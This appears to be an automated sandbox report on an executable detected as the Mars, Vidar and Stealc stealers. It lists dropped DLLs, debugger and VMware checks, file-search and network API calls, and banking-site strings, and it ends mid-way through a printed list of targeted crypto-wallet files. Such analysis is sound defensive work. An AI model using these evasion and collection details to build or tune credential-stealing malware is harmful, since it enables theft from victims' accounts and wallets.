Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

0_2_00416240

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-56561

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00412570
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D1C0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_004015C0 LocalAlloc,FindFirstFileA,StrCmpCA,StrCmpCA,SetThreadLocale,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004015C0
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00411650
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B610
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040DB60
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00411B80
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040D540
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_004121F0

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: 0_2_00401120 GetSystemInfo,ExitProcess,

0_2_00401120

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: HDAFBGIJ.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: HDAFBGIJ.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: HDAFBGIJ.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.0000000004315000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HDAFBGIJ.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: HDAFBGIJ.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: HDAFBGIJ.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: HDAFBGIJ.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: HDAFBGIJ.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: HDAFBGIJ.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: HDAFBGIJ.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: HDAFBGIJ.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: HDAFBGIJ.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: HDAFBGIJ.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: HDAFBGIJ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: HDAFBGIJ.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: HDAFBGIJ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: HDAFBGIJ.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: HDAFBGIJ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: HDAFBGIJ.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: HDAFBGIJ.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: HDAFBGIJ.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: HDAFBGIJ.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: HDAFBGIJ.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: HDAFBGIJ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: HDAFBGIJ.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: HDAFBGIJ.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: HDAFBGIJ.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: HDAFBGIJ.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: HDAFBGIJ.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: HDAFBGIJ.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2391523082.00000000042C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: HDAFBGIJ.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	API call chain: ExitProcess graph end node	graph_0-57592
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	API call chain: ExitProcess graph end node	graph_0-56546
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	API call chain: ExitProcess graph end node	graph_0-56549
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	API call chain: ExitProcess graph end node	graph_0-56560
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	API call chain: ExitProcess graph end node	graph_0-56567
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	API call chain: ExitProcess graph end node	graph_0-56599
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	API call chain: ExitProcess graph end node	graph_0-56575

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: 0_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00417B4E

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

0_2_00416240

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: 0_2_00415DC0 mov eax, dword ptr fs:[00000030h]

0_2_00415DC0

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: 0_2_00404C70 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00404C70

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_00419DC7 SetUnhandledExceptionFilter,	0_2_00419DC7
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00417B4E
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_004173DD memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004173DD
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCDB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CCDB66C
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Code function: 0_2_6CCDB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CCDB1F7

HIPS / PFW / Operating System Protection Evasion

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: 0_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00415D00

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: 0_2_6CCDB341 cpuid

0_2_6CCDB341

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00414570

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: 0_2_00414450 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

0_2_00414450

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: 0_2_004143C0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004143C0

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Code function: 0_2_004144B0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_004144B0

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.5ca0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.5ca0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.4JgB4mYxvJ.exe.5cd0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.4JgB4mYxvJ.exe.5cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2000692995.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2391660254.0000000005CA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2391523082.00000000042C2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4JgB4mYxvJ.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.5ca0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.5ca0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.4JgB4mYxvJ.exe.5cd0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.4JgB4mYxvJ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.4JgB4mYxvJ.exe.5cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2000692995.0000000005CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2391660254.0000000005CA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4JgB4mYxvJ.exe PID: 3808, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local 